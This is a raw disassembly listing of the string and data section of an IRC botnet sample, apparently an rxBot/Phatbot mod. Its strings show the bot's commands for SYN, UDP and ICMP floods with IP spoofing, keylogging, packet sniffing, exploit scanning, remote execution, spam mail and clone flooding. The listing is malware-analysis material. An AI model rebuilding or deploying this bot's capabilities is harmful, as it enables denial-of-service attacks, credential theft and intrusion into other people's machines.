db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_42A82C db 2Dh ; - ; DATA XREF: sub_401ACD+5581o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5564o align 10h unk_42A880 db 2Dh ; - ; DATA XREF: sub_401ACD+554Fo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A8B8 db 2Dh ; - ; DATA XREF: sub_401ACD+54E0o db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h unk_42A900 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406EFFo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42A938 db 2Dh ; - ; DATA XREF: sub_401ACD+5428o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A970 db 2Dh ; - ; DATA XREF: sub_401ACD+53AEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Eo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5397o unk_42A9B4 db 2Dh ; - ; DATA XREF: sub_401ACD+52FCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 10h aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52ECo align 4 aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D5o aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+525Fo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Co unk_42A9FC db 2Dh ; - ; DATA XREF: sub_401ACD+51FDo db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+5189o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Eo align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5087o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5070o align 4 aP: ; DATA XREF: sub_401ACD+5059o ; ___:00437C48o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5042o align 10h aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Bo align 4 aNs db 'ns',0 ; DATA XREF: sub_401ACD+5014o align 10h aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFDo aU: ; DATA XREF: sub_401ACD+4FE6o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FCFo aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB8o align 4 aAsc db 'asc',0 ; DATA XREF: sub_401ACD+4FA1o aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Ao aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F73o aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Co align 4 aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F36o aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F1Fo align 4 aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F08o align 10h aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF1o align 4 aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDAo align 10h aScan db 'scan',0 ; DATA XREF: sub_401ACD+4EC3o align 4 aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EACo align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E95o align 4 aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Eo align 10h aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E67o aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E50o align 10h aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E39o align 4 dword_42AB3C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Co aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42AB78 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4DBDo aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Ao align 10h aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D23o ; sub_401ACD+52BDo aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Co align 10h unk_42ABC0 db 2Dh ; - ; DATA XREF: sub_401ACD+4CFFo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0 align 10h aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C28o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C11o ; sub_412B08:loc_412C34o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFAo ; sub_412B08:loc_412C18o align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE3o ; sub_412B08+F1o align 10h aC: ; DATA XREF: sub_401ACD+4BCCo ; ___:00437C78o unicode 0, <c>,0 aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB5o align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Co align 4 aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B75o align 10h aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Eo align 4 aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B47o align 4 aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B30o align 10h aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B19o align 4 aE: ; DATA XREF: sub_401ACD+4B02o ; ___:00437C30o ... unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AEBo aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD4o align 10h aJpDe100 db 'jp]de100',0 ; DATA XREF: sub_401ACD+4ABDo align 4 aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA6o align 10h aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A8Fo align 4 aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A78o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A61o ; sub_401ACD+6BE7o align 4 aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Ao aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A33o aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Co align 4 aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A05o align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EEo aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D7o align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C0o aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49A9o align 4 aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4992o aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Bo align 10h aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4964o aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Do align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4936o aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+491Fo align 4 aM: ; DATA XREF: sub_401ACD+4908o ; ___:00437C88o unicode 0, <m>,0 aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DAo align 10h aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C3o align 4 aA: ; DATA XREF: sub_401ACD+48ACo ; ___:00437C4Co unicode 0, <a>,0 aAction db 'action',0 ; DATA XREF: sub_401ACD+4895o align 4 aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4867o aAa db 'aa',0 ; DATA XREF: sub_401ACD+4850o align 10h aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+4839o align 4 aKl db 'kl',0 ; DATA XREF: sub_401ACD+4822o align 10h aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Bo aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E2o align 4 aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CDo aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B8o aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A3o unk_42AD50 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406265o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_42AD6C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 10h aSend db 'send',0 ; DATA XREF: sub_401ACD+475Eo ; sub_409B12+5F0o align 4 unk_42AD98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 4 unk_42ADB8 db 2Dh ; - ; DATA XREF: sub_401ACD+4747o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 aUser db 'user',0 ; DATA XREF: sub_401ACD+46D3o align 10h unk_42ADE0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406193o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 10h unk_42AE00 db 2Dh ; - ; DATA XREF: sub_401ACD+46BCo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 4 aShare db 'share',0 ; DATA XREF: sub_401ACD+466Eo align 4 aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Ao align 4 aPause db 'pause',0 ; DATA XREF: sub_401ACD+4610o align 10h aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F6o align 4 unk_42AE48 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B6o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 unk_42AE68 db 2Dh ; - ; DATA XREF: sub_401ACD+45DFo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 aStart db 'start',0 ; DATA XREF: sub_401ACD+45A9o align 4 unk_42AE94 db 2Dh ; - ; DATA XREF: sub_401ACD+4577o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aNet db 'net',0 ; DATA XREF: sub_401ACD+4553o dword_42AED0 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4548o aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0 align 4 dword_42AF0C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+44D9o aKeyLoggerActiv db '- Key logger active.',0 align 10h dword_42AF30 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4457o aAlreadyRunning db '- Already running.',0 align 10h dword_42AF50 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Eo aNoKeyLoggerThr db '- No key logger thread found.',0 align 4 dword_42AF7C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4437o aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0 align 4 aFile db 'file',0 ; DATA XREF: sub_401ACD+43F8o align 10h aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D6o align 4 dword_42AFC8 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E98o aNoThreadFound_ db '- No thread found.',0 align 4 dword_42AFE8 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C1o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 10h dword_42B020 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4391o aFailedToSta_16 db '- Failed to start server, error: <%d>.',0 align 4 dword_42B054 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4344o aServerRunnin_0 db '- Server running on Port: 113.',0 align 10h dword_42B080 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4334o aAlreadyRunni_0 db '- Already running.',0 align 10h aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4301o align 4 unk_42B0A8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC3o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 unk_42B0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+42ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_42B118 db 2Dh ; - ; DATA XREF: sub_401ACD+42BCo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0 unk_42B154 db 2Dh ; - ; DATA XREF: sub_401ACD+424Do db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 4 unk_42B184 db 2Dh ; - ; DATA XREF: sub_401ACD+41E6o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_1 db '- Already running.',0 aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41AFo dword_42B1AC dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C71o aNoCarnivoreThr db '- No Carnivore thread found.',0 align 4 dword_42B1D8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Ao aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0 align 4 dword_42B214 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Ao aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0 align 10h dword_42B250 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40FBo aCarnivorePacke db '- Carnivore packet sniffer active.',0 align 10h dword_42B280 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4094o aAlreadyRunni_2 db '- Already running.',0 align 10h aOn db 'on',0 ; DATA XREF: sub_401ACD+4074o ; sub_401ACD+41C6o ... align 4 aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Do align 4 aRf db 'rf',0 ; DATA XREF: sub_401ACD+4048o align 10h aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4033o align 4 aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Eo align 10h aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+4009o aMirc db 'mirc',0 ; DATA XREF: sub_401ACD+3FF4o align 4 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401ACD+3FDFo aV: ; DATA XREF: sub_401ACD+3FCAo ; ___:00437C7Co unicode 0, <v>,0 aVisit db 'visit',0 ; DATA XREF: sub_401ACD+3FB5o align 10h aLi db 'li',0 ; DATA XREF: sub_401ACD+3FA0o align 4 aList db 'list',0 ; DATA XREF: sub_401ACD+3F8Bo align 4 aGt db 'gt',0 ; DATA XREF: sub_401ACD+3F76o align 10h aDel db 'del',0 ; DATA XREF: sub_401ACD+3F4Co aDelete db 'delete',0 ; DATA XREF: sub_401ACD+3F37o ; sub_401ACD+4644o align 4 aKi db 'ki',0 ; DATA XREF: sub_401ACD+3F22o align 10h aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Do align 4 aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF8o align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE3o align 4 aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECEo align 4 aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EB9o aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA4o align 4 aServer db 'server',0 ; DATA XREF: sub_401ACD+3E8Fo align 4 aO: ; DATA XREF: sub_401ACD+3E7Ao unicode 0, <o>,0 aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E65o ; sub_401ACD+590Bo ... align 4 aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E50o align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Bo align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E26o align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E11o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFCo aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE7o align 4 aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBDo align 10h aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D93o aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Eo align 4 aJ: ; DATA XREF: sub_401ACD+3D54o ; ___:00437C64o unicode 0, <j>,0 aN: ; DATA XREF: sub_401ACD+3D2Ao ; ___:00437C84o unicode 0, <n>,0 unk_42B380 db 2Dh ; - ; DATA XREF: sub_401ACD+3CF6o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 4 aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C92o aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C69o align 4 aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C10o align 4 aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B43o dword_42B3E0 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h ; DATA XREF: sub_401ACD+3AEFo ; sub_401ACD+3B26o dd 0 dword_42B3F8 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h ; DATA XREF: sub_401ACD+3AB8o dd 1 dword_42B410 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h ; DATA XREF: sub_401ACD+3A81o ; sub_401ACD+3B98o aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Co align 4 aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3997o ; sub_401ACD+39D3o ... align 4 aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Do align 4 aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Eo aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3807o aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3705o ; sub_401ACD+3D15o align 4 dword_42B458 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h ; DATA XREF: sub_401ACD+36E8o dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1 dword_42B480 dd 636364h ; DATA XREF: sub_401ACD+366Bo dword_42B484 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: sub_401ACD+351Eo dword_42B490 dd 4B43494Eh, 732520h ; DATA XREF: sub_401ACD+3501o ; sub_401ACD+3762o ... dword_42B498 dd 69257325h, 0 ; DATA XREF: sub_401ACD+34E6o ; sub_40ACB5+4Fo ... aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A5o align 4 aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3488o ; sub_401ACD+3578o ... align 4 aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3461o align 10h aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3444o aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3422o ; sub_401ACD+3D69o align 10h aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3405o ; sub_401ACD+354Co ... aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E3o ; sub_401ACD+3D3Fo align 10h aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C6o align 4 aMode db 'mode',0 ; DATA XREF: sub_401ACD+3377o ; sub_401ACD+48F1o align 4 aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Ao align 4 aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Bo align 4 dword_42B508 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0 ; DATA XREF: sub_401ACD+32EEo dword_42B51C dd 7463h ; DATA XREF: sub_401ACD+329Fo dword_42B520 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: sub_401ACD+3282o ; sub_401ACD+38A8o ... dword_42B530 dd 5Fh ; DATA XREF: sub_401ACD+3253o ; sub_401ACD+32BFo ... dword_42B534 dd 6D70h ; DATA XREF: sub_401ACD+3233o ; sub_401ACD+487Eo unk_42B538 db 2Dh ; - ; DATA XREF: sub_401ACD+3201o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 4 aLoad db 'load',0 ; DATA XREF: sub_401ACD+31AAo align 4 aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3181o align 4 aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Ao align 4 aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3155o aRin db 'rin',0 ; DATA XREF: sub_401ACD+3140o aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Bo align 10h unk_42B5A0 db 2Dh ; - ; DATA XREF: sub_401ACD+3120o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 10h unk_42B5E0 db 2Dh ; - ; DATA XREF: sub_401ACD+30AEo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 10h aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3028o unk_42B618 db 2Dh ; - ; DATA XREF: sub_401ACD+300Eo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 4 unk_42B644 db 2Dh ; - ; DATA XREF: sub_401ACD+2FF0o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCCo align 4 unk_42B684 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A40o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 aGet db 'get',0 ; DATA XREF: sub_401ACD:loc_404A22o ; sub_401ACD+3F61o unk_42B6C0 db 2Dh ; - ; DATA XREF: sub_401ACD+2EDAo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_42B6EC db 2Dh ; - ; DATA XREF: sub_401ACD+2ED2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 4 dword_42B718 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Do unk_42B728 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 4 dword_42B7D8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Bo aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0 align 4 dword_42B814 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h ; DATA XREF: sub_401ACD+2DD1o dd 2E6D6574h, 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCBo align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC4o align 4 unk_42B848 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Do db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42B888 db 2Dh ; - ; DATA XREF: sub_401ACD+2CC9o db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 dword_42B8B4 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C47o aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0 align 10h dword_42B8F0 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2BD8o aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42B918 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B25o dword_42B928 dd 646E6946h, 6C696620h, 65h ; DATA XREF: sub_401ACD+2B20o dword_42B934 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Do dword_42B944 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: sub_401ACD+2B08o dword_42B954 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401ACD+2A95o dd 676E6974h, 2Eh aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404555o ; sub_401ACD:loc_409778o ... align 4 dword_42B988 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401ACD+2A73o dd 6E697463h, 2E67h aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404533o align 4 aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Do ; sub_401ACD+7A7Eo align 4 aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Eo align 4 unk_42B9D8 db 2Dh ; - ; DATA XREF: sub_401ACD+2A17o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 4 dword_42BA04 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h ; DATA XREF: sub_401ACD+29D8o dd 2E7325h unk_42BA1C db 2Dh ; - ; DATA XREF: sub_401ACD+29C9o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0 align 4 dword_42BA58 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h ; DATA XREF: sub_401ACD+295Ao dd 65726874h, 2E736461h, 0 dword_42BA78 dd 627573h ; DATA XREF: sub_401ACD+2934o dword_42BA7C dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_401ACD+28E2o dd 2E7473h unk_42BA94 db 2Dh ; - ; DATA XREF: sub_401ACD+28C7o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0 